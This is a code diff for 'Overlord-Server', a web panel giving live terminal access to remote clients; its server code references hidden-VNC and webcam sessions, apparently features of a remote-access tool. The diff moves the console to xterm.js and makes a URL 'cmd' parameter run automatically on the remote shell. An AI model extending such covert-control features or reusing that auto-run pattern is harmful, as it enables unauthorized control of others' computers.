+.pill.pill-offline { + color: #fca5a5; + border-color: rgba(252, 165, 165, 0.35); + background: rgba(252, 165, 165, 0.08); +} + +.pill.pill-ghost { + color: #cbd5e1; } @media (max-width: 720px) { @@ -173,21 +147,12 @@ background: #050913; } .console-main { - padding: 12px; + padding: 10px; } .console-card { - padding: 12px; + padding: 10px; } - .console-input-row { - flex-direction: column; - align-items: stretch; - } - .console-buttons { - width: 100%; - justify-content: flex-end; - } - .console-buttons .btn, - .console-buttons .button { - width: auto; + .console-terminal { + min-height: 70vh; } } diff --git a/Overlord-Server/public/assets/console.js b/Overlord-Server/public/assets/console.js index bb9504e..9003b5b 100644 --- a/Overlord-Server/public/assets/console.js +++ b/Overlord-Server/public/assets/console.js @@ -1,33 +1,72 @@ -import { ansiToHtml } from "./ansi.js"; +import { Terminal } from "/vendor/xterm/xterm.mjs"; +import { FitAddon } from "/vendor/xterm/addon-fit.mjs"; +import { WebLinksAddon } from "/vendor/xterm/addon-web-links.mjs"; import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; import { checkFeatureAccess } from "./feature-gate.js"; -const outputEl = document.getElementById("console-output"); + +const containerEl = document.getElementById("terminal"); const statusPill = document.getElementById("status-pill"); const clientLabel = document.getElementById("client-label"); const hostLabel = document.getElementById("host-label"); const userLabel = document.getElementById("user-label"); const osLabel = document.getElementById("os-label"); -const form = document.getElementById("console-form"); -const input = document.getElementById("console-input"); -const ctrlcBtn = document.getElementById("ctrlc-btn"); +const reconnectBtn = document.getElementById("reconnect-btn"); +const clearBtn = document.getElementById("clear-btn"); const clientId = decodeURIComponent( location.pathname.split("/").filter(Boolean)[0] || "", ); const wsProto = location.protocol === "https:" ? "wss" : "ws"; const wsUrl = `${wsProto}://${location.host}/api/clients/${encodeURIComponent(clientId)}/console/ws`; + +const term = new Terminal({ + cursorBlink: true, + fontFamily: '"JetBrains Mono", ui-monospace, Menlo, Consolas, monospace', + fontSize: 13, + scrollback: 10000, + allowProposedApi: true, + theme: { + background: "#050913", + foreground: "#e8edf2", + cursor: "#6ee7b7", + cursorAccent: "#050913", + selectionBackground: "rgba(110, 231, 183, 0.25)", + black: "#1a1d29", + red: "#ef4444", + green: "#22c55e", + yellow: "#eab308", + blue: "#60a5fa", + magenta: "#c084fc", + cyan: "#22d3ee", + white: "#e8edf2", + brightBlack: "#475569", + brightRed: "#f87171", + brightGreen: "#4ade80", + brightYellow: "#facc15", + brightBlue: "#93c5fd", + brightMagenta: "#d8b4fe", + brightCyan: "#67e8f9", + brightWhite: "#f8fafc", + }, +}); +const fit = new FitAddon(); +term.loadAddon(fit); +term.loadAddon(new WebLinksAddon()); +term.open(containerEl); + let ws = null; let connected = false; -let outputBuffer = ""; -let hasOutput = false; +let sessionClosed = false; +let offlineNotified = false; +let lastSize = { cols: 0, rows: 0 }; +let resizeTimer = 0; -const urlParams = new URLSearchParams(window.location.search); -const prefilledCommand = urlParams.get("cmd"); -if (prefilledCommand && input) { - setTimeout(() => { - input.value = prefilledCommand; - input.focus(); - }, 1000); +function tryFit() { + try { + fit.fit(); + } catch { + /* ignore: container not yet measured */ + } } function setStatus(label, tone = "pill-offline") { @@ -36,32 +75,46 @@ function setStatus(label, tone = "pill-offline") { statusPill.innerHTML = ` ${label}`; } -function appendSystem(text) { - outputBuffer += `\n[system] ${text}\n`; - renderOutput(); +function writeSystem(msg) { + term.writeln(`\x1b[2m[${msg}]\x1b[0m`); } -function appendOutput(text) { - outputBuffer += text; - renderOutput(); +function sendResize() { + if (sessionClosed) return; + if (!ws || ws.readyState !== WebSocket.OPEN) return; + const cols = term.cols; + const rows = term.rows; + if (!cols || !rows) return; + if (cols === lastSize.cols && rows === lastSize.rows) return; + lastSize = { cols, rows }; + ws.send(encodeMsgpack({ type: "resize", cols, rows })); } -function renderOutput() { - if (!outputEl) return; - const normalized = outputBuffer.replace(/\r\n/g, "\n").replace(/\r/g, "\n"); - outputEl.innerHTML = `
${ansiToHtml(normalized)}
`; - outputEl.scrollTop = outputEl.scrollHeight; +function applyOutput(data) { + if (!data) return; + if (data instanceof Uint8Array) { + term.write(data); + } else if (typeof data === "string") { + term.write(data); + } else if (data?.buffer instanceof ArrayBuffer) { + term.write(new Uint8Array(data.buffer, data.byteOffset ?? 0, data.byteLength)); + } } function connect() { - appendSystem("Connecting to console..."); - setStatus("Connecting...", "pill-offline"); + sessionClosed = false; + setStatus("Connecting...", "pill-ghost"); + writeSystem("Connecting..."); + ws = new WebSocket(wsUrl); ws.binaryType = "arraybuffer"; ws.addEventListener("open", () => { connected = true; setStatus("Connected", "pill-online"); + term.options.disableStdin = false; + tryFit(); + sendResize(); }); ws.addEventListener("message", (event) => { @@ -74,32 +127,36 @@ function connect() { if (hostLabel) hostLabel.textContent = payload.host || "unknown"; if (userLabel) userLabel.textContent = payload.user || "unknown"; if (osLabel) osLabel.textContent = payload.os || "unknown"; - setStatus("Connected", "pill-online"); + setStatus("Live", "pill-online"); break; case "status": if (payload.status === "offline") { setStatus("Offline", "pill-offline"); - appendSystem(payload.reason || "Client offline"); - } else if (payload.status === "connecting" && !hasOutput) { - setStatus("Connecting...", "pill-ghost"); + if (!offlineNotified) { + offlineNotified = true; + writeSystem(payload.reason || "Client offline"); + } + sessionClosed = true; + term.options.disableStdin = true; } else if (payload.status === "closed") { setStatus("Closed", "pill-offline"); - appendSystem(payload.reason || "Console closed"); + writeSystem(payload.reason || "Console closed"); + sessionClosed = true; + term.options.disableStdin = true; + } else if (payload.status === "online") { + offlineNotified = false; } break; - case "output": { - if (payload.data) { - hasOutput = true; - setStatus("Live", "pill-online"); - appendOutput(payload.data); - } - if (payload.error) appendSystem(payload.error); + case "output": + applyOutput(payload.data); + if (payload.error) writeSystem(payload.error); if (typeof payload.exitCode === "number") { - appendSystem(`Process exited (${payload.exitCode})`); + term.writeln(`\r\n\x1b[33m[Process exited (${payload.exitCode})]\x1b[0m`); setStatus("Closed", "pill-offline"); + sessionClosed = true; + term.options.disableStdin = true; } break; - } default: break; } @@ -109,7 +166,8 @@ function connect() { if (!connected) return; connected = false; setStatus("Disconnected", "pill-offline"); - appendSystem("Connection closed"); + if (!sessionClosed) writeSystem("Connection closed"); + term.options.disableStdin = true; }); ws.addEventListener("error", () => { @@ -117,40 +175,41 @@ function connect() { }); } -function sendInput(value) { - if (!ws || ws.readyState !== WebSocket.OPEN) { - appendSystem("Socket not ready"); - return; - } - ws.send(encodeMsgpack({ type: "input", data: value })); -} +term.onData((d) => { + if (!ws || ws.readyState !== WebSocket.OPEN) return; + if (sessionClosed) return; + ws.send(encodeMsgpack({ type: "input", data: d })); +}); -function wireInput() { - if (!form || !input) return; +term.onResize(() => { + sendResize(); +}); - form.addEventListener("submit", (e) => { - e.preventDefault(); - const value = input.value; - if (!value.trim()) { - input.value = ""; - return; +window.addEventListener("resize", () => { + clearTimeout(resizeTimer); + resizeTimer = setTimeout(tryFit, 120); +}); + +reconnectBtn?.addEventListener("click", () => { + try { ws?.close(); } catch { /* ignore */ } + term.reset(); + connect(); +}); + +clearBtn?.addEventListener("click", () => { + term.clear(); +}); + +requestAnimationFrame(() => { + tryFit(); + checkFeatureAccess("console", clientId).then((ok) => ok && connect()); +}); + +const prefilledCommand = new URLSearchParams(window.location.search).get("cmd"); +if (prefilledCommand) { + setTimeout(() => { + if (ws?.readyState === WebSocket.OPEN && !sessionClosed) { + ws.send(encodeMsgpack({ type: "input", data: prefilledCommand + "\r" })); } - const text = value.endsWith("\n") ? value : `${value}\n`; - sendInput(text); - input.value = ""; - input.focus(); - }); - - input.addEventListener("keydown", (e) => { - if (e.key === "Enter" && !e.shiftKey) { - e.preventDefault(); - form.dispatchEvent(new Event("submit")); - } - }); - - ctrlcBtn?.addEventListener("click", () => { - sendInput("\u0003"); - }); + }, 1200); } -wireInput(); -checkFeatureAccess("console", clientId).then(ok => ok && connect()); diff --git a/Overlord-Server/public/console.html b/Overlord-Server/public/console.html index 660c69b..40e1370 100644 --- a/Overlord-Server/public/console.html +++ b/Overlord-Server/public/console.html @@ -11,8 +11,9 @@ - + + @@ -22,49 +23,37 @@
-
-
-
Client
-
-
+
+
+
+
Client
+
-
+
+
+
Host
+
-
+
+
+
User
+
-
+
+
+
OS
+
-
+
-
-
Host
-
-
-
-
-
User
-
-
-
-
-
OS
-
-
+
+ Offline + +
-
- -
-
$
- -
- - -
-
+
diff --git a/Overlord-Server/scripts/vendor.ts b/Overlord-Server/scripts/vendor.ts index 517b2e2..466bb11 100644 --- a/Overlord-Server/scripts/vendor.ts +++ b/Overlord-Server/scripts/vendor.ts @@ -207,6 +207,27 @@ if (hljsBuild.success) { } rmSync(hljsTmp, { force: true }); +/* ── xterm.js ────────────────────────────────────────────────────── */ + +console.log("Copying xterm.js ..."); +const xtermRoot = path.join(NM, "@xterm"); +copyFile( + path.join(xtermRoot, "xterm", "lib", "xterm.mjs"), + path.join(VENDOR, "xterm", "xterm.mjs"), +); +copyFile( + path.join(xtermRoot, "xterm", "css", "xterm.css"), + path.join(VENDOR, "xterm", "xterm.css"), +); +copyFile( + path.join(xtermRoot, "addon-fit", "lib", "addon-fit.mjs"), + path.join(VENDOR, "xterm", "addon-fit.mjs"), +); +copyFile( + path.join(xtermRoot, "addon-web-links", "lib", "addon-web-links.mjs"), + path.join(VENDOR, "xterm", "addon-web-links.mjs"), +); + /* ── ansi-to-html (bundle for ESM import) ────────────────────────── */ console.log("Bundling ansi-to-html ..."); diff --git a/Overlord-Server/src/server/http-utils.ts b/Overlord-Server/src/server/http-utils.ts index f11f813..26e7ec6 100644 --- a/Overlord-Server/src/server/http-utils.ts +++ b/Overlord-Server/src/server/http-utils.ts @@ -19,6 +19,8 @@ const MIME_TYPES: Record = { ".html": "text/html; charset=utf-8", ".css": "text/css; charset=utf-8", ".js": "text/javascript; charset=utf-8", + ".mjs": "text/javascript; charset=utf-8", + ".map": "application/json", ".json": "application/json", ".png": "image/png", ".jpg": "image/jpeg", diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index fcedb83..127c690 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -1181,8 +1181,6 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload return broadcastFrameToViewers(sessionManager.getWebcamSessionsForClient(clientId), buf, header); }; -const textDecoder = new TextDecoder(); - export function handleConsoleViewerMessage(ws: ServerWebSocket, raw: string | ArrayBuffer | Uint8Array) { const payload = decodeViewerPayload(raw); if (!payload) return; @@ -1193,7 +1191,6 @@ export function handleConsoleViewerMessage(ws: ServerWebSocket, raw: const { clientId, sessionId } = ws.data; const target = clientManager.getClient(clientId); if (!target) { - safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId }); return; } @@ -1225,11 +1222,10 @@ export function handleConsoleOutput(clientId: string, payload: any) { const session = sessionManager.getConsoleSession(sessionId); if (!session) return; if (session.clientId !== clientId) return; - const data = payload.data ? textDecoder.decode(payload.data as Uint8Array) : ""; safeSendViewer(session.viewer, { type: "output", sessionId, - data, + data: payload.data ?? null, exitCode: payload.exitCode, error: payload.error, });